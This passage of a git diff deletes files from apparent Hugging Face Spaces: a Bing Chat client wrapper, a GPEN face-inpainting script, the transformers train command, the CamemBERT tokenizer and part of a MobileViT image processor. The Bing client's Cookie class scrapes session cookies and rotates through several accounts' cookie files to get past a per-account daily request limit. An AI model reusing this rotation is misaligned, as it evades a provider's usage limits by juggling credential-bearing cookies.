parser.add_argument( - "--history-file", - type=str, - default="", - required=False, - help="path to history file", - ) - parser.add_argument( - "--locale", - type=str, - default="en-US", - required=False, - help="your locale", - ) - args = parser.parse_args() - asyncio.run(async_main(args)) - - -class Cookie: - """ - Convenience class for Bing Cookie files, data, and configuration. This Class - is updated dynamically by the Query class to allow cycling through >1 - cookie/credentials file e.g. when daily request limits (current 200 per - account per day) are exceeded. - """ - - current_file_index = 0 - dirpath = Path("./").resolve() - search_pattern = "bing_cookies_*.json" - ignore_files = set() - current_filepath: dict | None = None - - @classmethod - def fetch_default(cls, path=None): - from selenium import webdriver - from selenium.webdriver.common.by import By - - driver = webdriver.Edge() - driver.get("https://bing.com/chat") - time.sleep(5) - xpath = '//button[@id="bnp_btn_accept"]' - driver.find_element(By.XPATH, xpath).click() - time.sleep(2) - xpath = '//a[@id="codexPrimaryButton"]' - driver.find_element(By.XPATH, xpath).click() - if path is None: - path = Path("./bing_cookies__default.json") - # Double underscore ensures this file is first when sorted - cookies = driver.get_cookies() - Path(path).write_text(json.dumps(cookies, indent=4), encoding="utf-8") - # Path again in case supplied path is: str - print(f"Cookies saved to: {path}") - driver.quit() - - @classmethod - def files(cls): - """Return a sorted list of all cookie files matching .search_pattern""" - all_files = set(cls.dirpath.glob(cls.search_pattern)) - return sorted(list(all_files - cls.ignore_files)) - - @classmethod - def import_data(cls): - """ - Read the active cookie file and populate the following attributes: - - .current_filepath - .current_data - .image_token - """ - try: - cls.current_filepath = cls.files()[cls.current_file_index] - except IndexError as exc: - print( - "> Please set Cookie.current_filepath to a valid cookie file, then run Cookie.import_data()", - ) - raise "No valid cookie file found." from exc - print(f"> Importing cookies from: {cls.current_filepath.name}") - with open(cls.current_filepath, encoding="utf-8") as file: - cls.current_data = json.load(file) - cls.image_token = [x for x in cls.current_data if x.get("name") == "_U"] - cls.image_token = cls.image_token[0].get("value") - - @classmethod - def import_next(cls): - """ - Cycle through to the next cookies file. Import it. Mark the previous - file to be ignored for the remainder of the current session. - """ - cls.ignore_files.add(cls.current_filepath) - if Cookie.current_file_index >= len(cls.files()): - Cookie.current_file_index = 0 - Cookie.import_data() - - -class Query: - """ - A convenience class that wraps around EdgeGPT.Chatbot to encapsulate input, - config, and output all together. Relies on Cookie class for authentication - """ - - def __init__( - self, - prompt, - style="precise", - content_type="text", - cookie_file=0, - echo=True, - echo_prompt=False, - proxy: str | None = None, - ): - """ - Arguments: - - prompt: Text to enter into Bing Chat - style: creative, balanced, or precise - content_type: "text" for Bing Chat; "image" for Dall-e - cookie_file: Path, filepath string, or index (int) to list of cookie paths - echo: Print something to confirm request made - echo_prompt: Print confirmation of the evaluated prompt - """ - self.proxy = proxy - self.index = [] - self.request_count = {} - self.image_dirpath = Path("./").resolve() - Cookie.import_data() - self.index += [self] - self.prompt = prompt - files = Cookie.files() - if isinstance(cookie_file, int): - index = cookie_file if cookie_file < len(files) else 0 - else: - if not isinstance(cookie_file, (str, Path)): - message = "'cookie_file' must be an int, str, or Path object" - raise TypeError(message) - cookie_file = Path(cookie_file) - if cookie_file in files: # Supplied filepath IS in Cookie.dirpath - index = files.index(cookie_file) - else: # Supplied filepath is NOT in Cookie.dirpath - if cookie_file.is_file(): - Cookie.dirpath = cookie_file.parent.resolve() - if cookie_file.is_dir(): - Cookie.dirpath = cookie_file.resolve() - index = 0 - Cookie.current_file_index = index - if content_type == "text": - self.style = style - self.log_and_send_query(echo, echo_prompt) - if content_type == "image": - self.create_image() - - def log_and_send_query(self, echo, echo_prompt): - self.response = asyncio.run(self.send_to_bing(echo, echo_prompt)) - name = str(Cookie.current_filepath.name) - if not self.request_count.get(name): - self.request_count[name] = 1 - else: - self.request_count[name] += 1 - - def create_image(self): - image_generator = ImageGen(Cookie.image_token) - image_generator.save_images( - image_generator.get_images(self.prompt), - output_dir=self.image_dirpath, - ) - - async def send_to_bing(self, echo=True, echo_prompt=False): - """Creat, submit, then close a Chatbot instance. Return the response""" - retries = len(Cookie.files()) - while retries: - try: - # Read the cookies file - bot = await Chatbot.create( - proxy=self.proxy, cookies=Cookie.current_data - ) - if echo_prompt: - print(f"> {self.prompt}=") - if echo: - print("> Waiting for response...") - if self.style.lower() not in "creative balanced precise".split(): - self.style = "precise" - response = await bot.ask( - prompt=self.prompt, - conversation_style=getattr(ConversationStyle, self.style), - # wss_link="wss://sydney.bing.com/sydney/ChatHub" - # What other values can this parameter take? It seems to be optional - ) - return response - except KeyError: - print( - f"> KeyError [{Cookie.current_filepath.name} may have exceeded the daily limit]", - ) - Cookie.import_next() - retries -= 1 - finally: - await bot.close() - - @property - def output(self): - """The response from a completed Chatbot request""" - return self.response["item"]["messages"][1]["text"] - - @property - def sources(self): - """The source names and details parsed from a completed Chatbot request""" - return self.response["item"]["messages"][1]["sourceAttributions"] - - @property - def sources_dict(self): - """The source names and details as a dictionary""" - sources_dict = {} - name = "providerDisplayName" - url = "seeMoreUrl" - for source in self.sources: - if name in source.keys() and url in source.keys(): - sources_dict[source[name]] = source[url] - else: - continue - return sources_dict - - @property - def code(self): - """Extract and join any snippets of Python code in the response""" - code_blocks = self.output.split("```")[1:-1:2] - code_blocks = ["\n".join(x.splitlines()[1:]) for x in code_blocks] - return "\n\n".join(code_blocks) - - @property - def languages(self): - """Extract all programming languages given in code blocks""" - code_blocks = self.output.split("```")[1:-1:2] - return {x.splitlines()[0] for x in code_blocks} - - @property - def suggestions(self): - """Follow-on questions suggested by the Chatbot""" - return [ - x["text"] - for x in self.response["item"]["messages"][1]["suggestedResponses"] - ] - - def __repr__(self): - return f"" - - def __str__(self): - return self.output - - -class ImageQuery(Query): - def __init__(self, prompt, **kwargs): - kwargs.update({"content_type": "image"}) - super().__init__(prompt, **kwargs) - - def __repr__(self): - return f"" - - -if __name__ == "__main__": - main() diff --git a/spaces/ygtxr1997/ReliableSwap_Demo/third_party/GPEN/face_inpainting.py b/spaces/ygtxr1997/ReliableSwap_Demo/third_party/GPEN/face_inpainting.py deleted file mode 100644 index 37c1a940ef26a44cd5923dd40b1ef98fb4dff281..0000000000000000000000000000000000000000 --- a/spaces/ygtxr1997/ReliableSwap_Demo/third_party/GPEN/face_inpainting.py +++ /dev/null @@ -1,101 +0,0 @@ -''' -@paper: GAN Prior Embedded Network for Blind Face Restoration in the Wild (CVPR2021) -@author: yangxy (yangtao9009@gmail.com) -''' -import os -import cv2 -import glob -import time -import math -import numpy as np -from PIL import Image, ImageDraw -import __init_paths -from face_model.face_gan import FaceGAN - -# modified by yangxy -def brush_stroke_mask(img, color=(255,255,255)): - min_num_vertex = 8 - max_num_vertex = 28 - mean_angle = 2*math.pi / 5 - angle_range = 2*math.pi / 15 - min_width = 12 - max_width = 80 - def generate_mask(H, W, img=None): - average_radius = math.sqrt(H*H+W*W) / 8 - mask = Image.new('RGB', (W, H), 0) - if img is not None: mask = img #Image.fromarray(img) - - for _ in range(np.random.randint(1, 4)): - num_vertex = np.random.randint(min_num_vertex, max_num_vertex) - angle_min = mean_angle - np.random.uniform(0, angle_range) - angle_max = mean_angle + np.random.uniform(0, angle_range) - angles = [] - vertex = [] - for i in range(num_vertex): - if i % 2 == 0: - angles.append(2*math.pi - np.random.uniform(angle_min, angle_max)) - else: - angles.append(np.random.uniform(angle_min, angle_max)) - - h, w = mask.size - vertex.append((int(np.random.randint(0, w)), int(np.random.randint(0, h)))) - for i in range(num_vertex): - r = np.clip( - np.random.normal(loc=average_radius, scale=average_radius//2), - 0, 2*average_radius) - new_x = np.clip(vertex[-1][0] + r * math.cos(angles[i]), 0, w) - new_y = np.clip(vertex[-1][1] + r * math.sin(angles[i]), 0, h) - vertex.append((int(new_x), int(new_y))) - - draw = ImageDraw.Draw(mask) - width = int(np.random.uniform(min_width, max_width)) - draw.line(vertex, fill=color, width=width) - for v in vertex: - draw.ellipse((v[0] - width//2, - v[1] - width//2, - v[0] + width//2, - v[1] + width//2), - fill=color) - - return mask - - width, height = img.size - mask = generate_mask(height, width, img) - return mask - -class FaceInpainting(object): - def __init__(self, base_dir='./', size=1024, model=None, channel_multiplier=2): - self.facegan = FaceGAN(base_dir, size, model, channel_multiplier) - - # make sure the face image is well aligned. Please refer to face_enhancement.py - def process(self, brokenf): - # complete the face - out = self.facegan.process(brokenf) - - return out - -if __name__=='__main__': - model = {'name':'GPEN-Inpainting-1024', 'size':1024} - - indir = 'examples/ffhq-10' - outdir = 'examples/outs-inpainting' - os.makedirs(outdir, exist_ok=True) - - faceinpainter = FaceInpainting(size=model['size'], model=model['name'], channel_multiplier=2) - - files = sorted(glob.glob(os.path.join(indir, '*.*g'))) - for n, file in enumerate(files[:]): - filename = os.path.basename(file) - - originf = cv2.imread(file, cv2.IMREAD_COLOR) - - brokenf = np.asarray(brush_stroke_mask(Image.fromarray(originf))) - - completef = faceinpainter.process(brokenf) - - originf = cv2.resize(originf, completef.shape[:2]) - brokenf = cv2.resize(brokenf, completef.shape[:2]) - cv2.imwrite(os.path.join(outdir, '.'.join(filename.split('.')[:-1])+'.jpg'), np.hstack((brokenf, completef, originf))) - - if n%10==0: print(n, file) - diff --git a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/commands/train.py b/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/commands/train.py deleted file mode 100644 index bdcbae9e01ba78ace5106ce2d4fb434cc79876c1..0000000000000000000000000000000000000000 --- a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/commands/train.py +++ /dev/null @@ -1,158 +0,0 @@ -# Copyright 2020 The HuggingFace Team. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import os -from argparse import ArgumentParser, Namespace - -from ..data import SingleSentenceClassificationProcessor as Processor -from ..pipelines import TextClassificationPipeline -from ..utils import is_tf_available, is_torch_available, logging -from . import BaseTransformersCLICommand - - -if not is_tf_available() and not is_torch_available(): - raise RuntimeError("At least one of PyTorch or TensorFlow 2.0+ should be installed to use CLI training") - -# TF training parameters -USE_XLA = False -USE_AMP = False - - -def train_command_factory(args: Namespace): - """ - Factory function used to instantiate training command from provided command line arguments. - - Returns: TrainCommand - """ - return TrainCommand(args) - - -class TrainCommand(BaseTransformersCLICommand): - @staticmethod - def register_subcommand(parser: ArgumentParser): - """ - Register this command to argparse so it's available for the transformer-cli - - Args: - parser: Root parser to register command-specific arguments - """ - train_parser = parser.add_parser("train", help="CLI tool to train a model on a task.") - - train_parser.add_argument( - "--train_data", - type=str, - required=True, - help="path to train (and optionally evaluation) dataset as a csv with tab separated labels and sentences.", - ) - train_parser.add_argument( - "--column_label", type=int, default=0, help="Column of the dataset csv file with example labels." - ) - train_parser.add_argument( - "--column_text", type=int, default=1, help="Column of the dataset csv file with example texts." - ) - train_parser.add_argument( - "--column_id", type=int, default=2, help="Column of the dataset csv file with example ids." - ) - train_parser.add_argument( - "--skip_first_row", action="store_true", help="Skip the first row of the csv file (headers)." - ) - - train_parser.add_argument("--validation_data", type=str, default="", help="path to validation dataset.") - train_parser.add_argument( - "--validation_split", - type=float, - default=0.1, - help="if validation dataset is not provided, fraction of train dataset to use as validation dataset.", - ) - - train_parser.add_argument("--output", type=str, default="./", help="path to saved the trained model.") - - train_parser.add_argument( - "--task", type=str, default="text_classification", help="Task to train the model on." - ) - train_parser.add_argument( - "--model", type=str, default="bert-base-uncased", help="Model's name or path to stored model." - ) - train_parser.add_argument("--train_batch_size", type=int, default=32, help="Batch size for training.") - train_parser.add_argument("--valid_batch_size", type=int, default=64, help="Batch size for validation.") - train_parser.add_argument("--learning_rate", type=float, default=3e-5, help="Learning rate.") - train_parser.add_argument("--adam_epsilon", type=float, default=1e-08, help="Epsilon for Adam optimizer.") - train_parser.set_defaults(func=train_command_factory) - - def __init__(self, args: Namespace): - self.logger = logging.get_logger("transformers-cli/training") - - self.framework = "tf" if is_tf_available() else "torch" - - os.makedirs(args.output, exist_ok=True) - self.output = args.output - - self.column_label = args.column_label - self.column_text = args.column_text - self.column_id = args.column_id - - self.logger.info(f"Loading {args.task} pipeline for {args.model}") - if args.task == "text_classification": - self.pipeline = TextClassificationPipeline.from_pretrained(args.model) - elif args.task == "token_classification": - raise NotImplementedError - elif args.task == "question_answering": - raise NotImplementedError - - self.logger.info(f"Loading dataset from {args.train_data}") - self.train_dataset = Processor.create_from_csv( - args.train_data, - column_label=args.column_label, - column_text=args.column_text, - column_id=args.column_id, - skip_first_row=args.skip_first_row, - ) - self.valid_dataset = None - if args.validation_data: - self.logger.info(f"Loading validation dataset from {args.validation_data}") - self.valid_dataset = Processor.create_from_csv( - args.validation_data, - column_label=args.column_label, - column_text=args.column_text, - column_id=args.column_id, - skip_first_row=args.skip_first_row, - ) - - self.validation_split = args.validation_split - self.train_batch_size = args.train_batch_size - self.valid_batch_size = args.valid_batch_size - self.learning_rate = args.learning_rate - self.adam_epsilon = args.adam_epsilon - - def run(self): - if self.framework == "tf": - return self.run_tf() - return self.run_torch() - - def run_torch(self): - raise NotImplementedError - - def run_tf(self): - self.pipeline.fit( - self.train_dataset, - validation_data=self.valid_dataset, - validation_split=self.validation_split, - learning_rate=self.learning_rate, - adam_epsilon=self.adam_epsilon, - train_batch_size=self.train_batch_size, - valid_batch_size=self.valid_batch_size, - ) - - # Save trained pipeline - self.pipeline.save_pretrained(self.output) diff --git a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/camembert/tokenization_camembert.py b/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/camembert/tokenization_camembert.py deleted file mode 100644 index 5a23d9b73b9491d837e4926e43a7f42172d6ac96..0000000000000000000000000000000000000000 --- a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/camembert/tokenization_camembert.py +++ /dev/null @@ -1,326 +0,0 @@ -# coding=utf-8 -# Copyright 2018 Google AI, Google Brain and Carnegie Mellon University Authors and the HuggingFace Inc. team. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License -""" Tokenization classes for Camembert model.""" - - -import os -from shutil import copyfile -from typing import Any, Dict, List, Optional, Tuple - -import sentencepiece as spm - -from ...tokenization_utils import AddedToken, PreTrainedTokenizer -from ...utils import logging - - -logger = logging.get_logger(__name__) - -VOCAB_FILES_NAMES = {"vocab_file": "sentencepiece.bpe.model"} - -PRETRAINED_VOCAB_FILES_MAP = { - "vocab_file": { - "camembert-base": "https://huggingface.co/camembert-base/resolve/main/sentencepiece.bpe.model", - } -} - -PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { - "camembert-base": 512, -} - -SPIECE_UNDERLINE = "▁" - - -class CamembertTokenizer(PreTrainedTokenizer): - """ - Adapted from [`RobertaTokenizer`] and [`XLNetTokenizer`]. Construct a CamemBERT tokenizer. Based on - [SentencePiece](https://github.com/google/sentencepiece). - - This tokenizer inherits from [`PreTrainedTokenizer`] which contains most of the main methods. Users should refer to - this superclass for more information regarding those methods. - - Args: - vocab_file (`str`): - [SentencePiece](https://github.com/google/sentencepiece) file (generally has a *.spm* extension) that - contains the vocabulary necessary to instantiate a tokenizer. - bos_token (`str`, *optional*, defaults to `""`): - The beginning of sequence token that was used during pretraining. Can be used a sequence classifier token. - - - - When building a sequence using special tokens, this is not the token that is used for the beginning of - sequence. The token used is the `cls_token`. - - - - eos_token (`str`, *optional*, defaults to `""`): - The end of sequence token. - - - - When building a sequence using special tokens, this is not the token that is used for the end of sequence. - The token used is the `sep_token`. - - - - sep_token (`str`, *optional*, defaults to `""`): - The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for - sequence classification or for a text and a question for question answering. It is also used as the last - token of a sequence built with special tokens. - cls_token (`str`, *optional*, defaults to `""`): - The classifier token which is used when doing sequence classification (classification of the whole sequence - instead of per-token classification). It is the first token of the sequence when built with special tokens. - unk_token (`str`, *optional*, defaults to `""`): - The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this - token instead. - pad_token (`str`, *optional*, defaults to `""`): - The token used for padding, for example when batching sequences of different lengths. - mask_token (`str`, *optional*, defaults to `""`): - The token used for masking values. This is the token used when training this model with masked language - modeling. This is the token which the model will try to predict. - additional_special_tokens (`List[str]`, *optional*, defaults to `['NOTUSED', 'NOTUSED']`): - Additional special tokens used by the tokenizer. - sp_model_kwargs (`dict`, *optional*): - Will be passed to the `SentencePieceProcessor.__init__()` method. The [Python wrapper for - SentencePiece](https://github.com/google/sentencepiece/tree/master/python) can be used, among other things, - to set: - - - `enable_sampling`: Enable subword regularization. - - `nbest_size`: Sampling parameters for unigram. Invalid for BPE-Dropout. - - - `nbest_size = {0,1}`: No sampling is performed. - - `nbest_size > 1`: samples from the nbest_size results. - - `nbest_size < 0`: assuming that nbest_size is infinite and samples from the all hypothesis (lattice) - using forward-filtering-and-backward-sampling algorithm. - - - `alpha`: Smoothing parameter for unigram sampling, and dropout probability of merge operations for - BPE-dropout. - - Attributes: - sp_model (`SentencePieceProcessor`): - The *SentencePiece* processor that is used for every conversion (string, tokens and IDs). - """ - - vocab_files_names = VOCAB_FILES_NAMES - pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP - max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES - model_input_names = ["input_ids", "attention_mask"] - - def __init__( - self, - vocab_file, - bos_token="", - eos_token="", - sep_token="", - cls_token="", - unk_token="", - pad_token="", - mask_token="", - additional_special_tokens=["NOTUSED", "NOTUSED"], - sp_model_kwargs: Optional[Dict[str, Any]] = None, - **kwargs, - ) -> None: - # Mask token behave like a normal word, i.e. include the space before it - mask_token = AddedToken(mask_token, lstrip=True, rstrip=False) if isinstance(mask_token, str) else mask_token - - self.sp_model_kwargs = {} if sp_model_kwargs is None else sp_model_kwargs - - self.sp_model = spm.SentencePieceProcessor(**self.sp_model_kwargs) - self.sp_model.Load(str(vocab_file)) - self.vocab_file = vocab_file - - # HACK: These tokens were added by the author for an obscure reason as they were already part of the - # sentencepiece vocabulary (this is the case for and and ). - # In this case it is recommended to properly set the tokens by hand. - self._added_tokens_decoder = { - 0: AddedToken("NOTUSED"), - 1: AddedToken(pad_token), - 2: AddedToken("NOTUSED"), - 3: AddedToken(unk_token), - 4: AddedToken("NOTUSED"), - } - - self.fairseq_offset = 4 # 3 tokens are newly added, but the offset starts from 4 - - # legacy: camemebert is a particular case were we have to make sure `"NOTUSED"` is here - if "added_tokens_decoder" in kwargs: - # this is the only class that requires this unfortunately..... - # the reason is that the fast version has a whole. - kwargs["added_tokens_decoder"].update(self._added_tokens_decoder) - - super().__init__( - bos_token=bos_token, - eos_token=eos_token, - unk_token=unk_token, - sep_token=sep_token, - cls_token=cls_token, - pad_token=pad_token, - mask_token=mask_token, - additional_special_tokens=additional_special_tokens, - sp_model_kwargs=self.sp_model_kwargs, - **kwargs, - ) - - @property - def vocab_size(self): - # The length of the vocabulary without added tokens is len(self.sp_model) but the added tokens are added at the beginning. - return len(self.sp_model) - - def get_vocab(self): - vocab = {self.convert_ids_to_tokens(i): i for i in range(self.vocab_size + self.fairseq_offset)} - vocab.update(self.added_tokens_encoder) - return vocab - - def _tokenize(self, text: str) -> List[str]: - return self.sp_model.encode(text, out_type=str) - - def _convert_token_to_id(self, token): - """Converts a token (str) in an id using the vocab.""" - # specifi to camembert, both 3 and 4 point to the unk token. - if self.sp_model.PieceToId(token) == 0: - # Convert sentence piece unk token to fairseq unk token index - return self.unk_token_id - return self.fairseq_offset + self.sp_model.PieceToId(token) - - def _convert_id_to_token(self, index): - """Converts an index (integer) in a token (str) using the vocab.""" - return self.sp_model.IdToPiece(index - self.fairseq_offset) - - def convert_tokens_to_string(self, tokens): - """Converts a sequence of tokens (string) in a single string.""" - # TODO decode outputs do not match between fast and slow - current_sub_tokens = [] - out_string = "" - prev_is_special = False - for token in tokens: - # make sure that special tokens are not decoded using sentencepiece model - if token in self.all_special_tokens: - if not prev_is_special: - out_string += " " - out_string += self.sp_model.decode(current_sub_tokens) + token - prev_is_special = True - current_sub_tokens = [] - else: - current_sub_tokens.append(token) - prev_is_special = False - out_string += self.sp_model.decode(current_sub_tokens) - return out_string.strip() - - def __getstate__(self): - state = self.__dict__.copy() - state["sp_model"] = None - return state - - def __setstate__(self, d): - self.__dict__ = d - - # for backward compatibility - if not hasattr(self, "sp_model_kwargs"): - self.sp_model_kwargs = {} - - self.sp_model = spm.SentencePieceProcessor(**self.sp_model_kwargs) - self.sp_model.Load(self.vocab_file) - - def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]: - if not os.path.isdir(save_directory): - logger.error(f"Vocabulary path ({save_directory}) should be a directory") - return - out_vocab_file = os.path.join( - save_directory, (filename_prefix + "-" if filename_prefix else "") + VOCAB_FILES_NAMES["vocab_file"] - ) - - if os.path.abspath(self.vocab_file) != os.path.abspath(out_vocab_file) and os.path.isfile(self.vocab_file): - copyfile(self.vocab_file, out_vocab_file) - elif not os.path.isfile(self.vocab_file): - with open(out_vocab_file, "wb") as fi: - content_spiece_model = self.sp_model.serialized_model_proto() - fi.write(content_spiece_model) - - return (out_vocab_file,) - - def build_inputs_with_special_tokens( - self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None - ) -> List[int]: - """ - Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and - adding special tokens. An CamemBERT sequence has the following format: - - - single sequence: ` X ` - - pair of sequences: ` A B ` - - Args: - token_ids_0 (`List[int]`): - List of IDs to which the special tokens will be added. - token_ids_1 (`List[int]`, *optional*): - Optional second list of IDs for sequence pairs. - - Returns: - `List[int]`: List of [input IDs](../glossary#input-ids) with the appropriate special tokens. - """ - - if token_ids_1 is None: - return [self.cls_token_id] + token_ids_0 + [self.sep_token_id] - cls = [self.cls_token_id] - sep = [self.sep_token_id] - return cls + token_ids_0 + sep + sep + token_ids_1 + sep - - def get_special_tokens_mask( - self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None, already_has_special_tokens: bool = False - ) -> List[int]: - """ - Retrieve sequence ids from a token list that has no special tokens added. This method is called when adding - special tokens using the tokenizer `prepare_for_model` method. - - Args: - token_ids_0 (`List[int]`): - List of IDs. - token_ids_1 (`List[int]`, *optional*): - Optional second list of IDs for sequence pairs. - already_has_special_tokens (`bool`, *optional*, defaults to `False`): - Whether or not the token list is already formatted with special tokens for the model. - - Returns: - `List[int]`: A list of integers in the range [0, 1]: 1 for a special token, 0 for a sequence token. - """ - if already_has_special_tokens: - return super().get_special_tokens_mask( - token_ids_0=token_ids_0, token_ids_1=token_ids_1, already_has_special_tokens=True - ) - - if token_ids_1 is None: - return [1] + ([0] * len(token_ids_0)) + [1] - return [1] + ([0] * len(token_ids_0)) + [1, 1] + ([0] * len(token_ids_1)) + [1] - - def create_token_type_ids_from_sequences( - self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None - ) -> List[int]: - """ - Create a mask from the two sequences passed to be used in a sequence-pair classification task. CamemBERT, like - RoBERTa, does not make use of token type ids, therefore a list of zeros is returned. - - Args: - token_ids_0 (`List[int]`): - List of IDs. - token_ids_1 (`List[int]`, *optional*): - Optional second list of IDs for sequence pairs. - - Returns: - `List[int]`: List of zeros. - """ - sep = [self.sep_token_id] - cls = [self.cls_token_id] - - if token_ids_1 is None: - return len(cls + token_ids_0 + sep) * [0] - return len(cls + token_ids_0 + sep + sep + token_ids_1 + sep) * [0] diff --git a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/mobilevit/image_processing_mobilevit.py b/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/mobilevit/image_processing_mobilevit.py deleted file mode 100644 index 0f3a422b30a07fb0b17af770fea36dbffd5084e0..0000000000000000000000000000000000000000 --- a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/mobilevit/image_processing_mobilevit.py +++ /dev/null @@ -1,345 +0,0 @@ -# coding=utf-8 -# Copyright 2022 The HuggingFace Inc. team. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -"""Image processor class for MobileViT.""" - -from typing import Dict, List, Optional, Tuple, Union - -import numpy as np - -from ...image_processing_utils import BaseImageProcessor, BatchFeature, get_size_dict -from ...image_transforms import ( - flip_channel_order, - get_resize_output_image_size, - resize, - to_channel_dimension_format, -) -from ...image_utils import ( - ChannelDimension, - ImageInput, - PILImageResampling, - infer_channel_dimension_format, - is_scaled_image, - make_list_of_images, - to_numpy_array, - valid_images, -) -from ...utils import TensorType, is_torch_available, is_torch_tensor, is_vision_available, logging - - -if is_vision_available(): - import PIL - -if is_torch_available(): - import torch - - -logger = logging.get_logger(__name__) - - -class MobileViTImageProcessor(BaseImageProcessor): - r""" - Constructs a MobileViT image processor. - - Args: - do_resize (`bool`, *optional*, defaults to `True`): - Whether to resize the image's (height, width) dimensions to the specified `size`. Can be overridden by the - `do_resize` parameter in the `preprocess` method. - size (`Dict[str, int]` *optional*, defaults to `{"shortest_edge": 224}`): - Controls the size of the output image after resizing. Can be overridden by the `size` parameter in the - `preprocess` method. - resample (`PILImageResampling`, *optional*, defaults to `Resampling.BILINEAR`): - Defines the resampling filter to use if resizing the image. Can be overridden by the `resample` parameter - in the `preprocess` method. - do_rescale (`bool`, *optional*, defaults to `True`): - Whether to rescale the image by the specified scale `rescale_factor`. Can be overridden by the `do_rescale` - parameter in the `preprocess` method. - rescale_factor (`int` or `float`, *optional*, defaults to `1/255`): - Scale factor to use if rescaling the image. Can be overridden by the `rescale_factor` parameter in the - `preprocess` method. - do_center_crop (`bool`, *optional*, defaults to `True`): - Whether to crop the input at the center. If the input size is smaller than `crop_size` along any edge, the - image is padded with 0's and then center cropped. Can be overridden by the `do_center_crop` parameter in - the `preprocess` method. - crop_size (`Dict[str, int]`, *optional*, defaults to `{"height": 256, "width": 256}`): - Desired output size `(size["height"], size["width"])` when applying center-cropping. Can be overridden by - the `crop_size` parameter in the `preprocess` method. - do_flip_channel_order (`bool`, *optional*, defaults to `True`): - Whether to flip the color channels from RGB to BGR. Can be overridden by the `do_flip_channel_order` - parameter in the `preprocess` method. - """ - - model_input_names = ["pixel_values"] - - def __init__( - self, - do_resize: bool = True, - size: Dict[str, int] = None, - resample: PILImageResampling = PILImageResampling.BILINEAR, - do_rescale: bool = True, - rescale_factor: Union[int, float] = 1 / 255, - do_center_crop: bool = True, - crop_size: Dict[str, int] = None, - do_flip_channel_order: bool = True, - **kwargs, - ) -> None: - super().__init__(**kwargs) - size = size if size is not None else {"shortest_edge": 224} - size = get_size_dict(size, default_to_square=False) - crop_size = crop_size if crop_size is not None else {"height": 256, "width": 256} - crop_size = get_size_dict(crop_size, param_name="crop_size") - - self.do_resize = do_resize - self.size = size - self.resample = resample - self.do_rescale = do_rescale - self.rescale_factor = rescale_factor - self.do_center_crop = do_center_crop - self.crop_size = crop_size - self.do_flip_channel_order = do_flip_channel_order - - # Copied from transformers.models.mobilenet_v1.image_processing_mobilenet_v1.MobileNetV1ImageProcessor.resize with PILImageResampling.BICUBIC->PILImageResampling.BILINEAR - def resize( - self, - image: np.ndarray, - size: Dict[str, int], - resample: PILImageResampling = PILImageResampling.BILINEAR, - data_format: Optional[Union[str, ChannelDimension]] = None, - input_data_format: Optional[Union[str, ChannelDimension]] = None, - **kwargs, - ) -> np.ndarray: - """ - Resize an image. The shortest edge of the image is resized to size["shortest_edge"], with the longest edge - resized to keep the input aspect ratio. - - Args: - image (`np.ndarray`): - Image to resize. - size (`Dict[str, int]`): - Size of the output image. - resample (`PILImageResampling`, *optional*, defaults to `PILImageResampling.BILINEAR`): - Resampling filter to use when resiizing the image. - data_format (`str` or `ChannelDimension`, *optional*): - The channel dimension format of the image. If not provided, it will be the same as the input image. - input_data_format (`ChannelDimension` or `str`, *optional*): - The channel dimension format of the input image. If not provided, it will be inferred. - """ - size = get_size_dict(size, default_to_square=False) - if "shortest_edge" not in size: - raise ValueError(f"The `size` parameter must contain the key `shortest_edge`. Got {size.keys()}") - output_size = get_resize_output_image_size( - image, size=size["shortest_edge"], default_to_square=False, input_data_format=input_data_format - ) - return resize( - image, - size=output_size, - resample=resample, - data_format=data_format, - input_data_format=input_data_format, - **kwargs, - ) - - def flip_channel_order( - self, - image: np.ndarray, - data_format: Optional[Union[str, ChannelDimension]] = None, - input_data_format: Optional[Union[str, ChannelDimension]] = None, - ) -> np.ndarray: - """ - Flip the color channels from RGB to BGR or vice versa. - - Args: - image (`np.ndarray`): - The image, represented as a numpy array. - data_format (`ChannelDimension` or `str`, *optional*): - The channel dimension format of the image. If not provided, it will be the same as the input image. - input_data_format (`ChannelDimension` or `str`, *optional*): - The channel dimension format of the input image. If not provided, it will be inferred. - """ - return flip_channel_order(image, data_format=data_format, input_data_format=input_data_format) - - def preprocess( - self, - images: ImageInput, - do_resize: bool = None, - size: Dict[str, int] = None, - resample: PILImageResampling 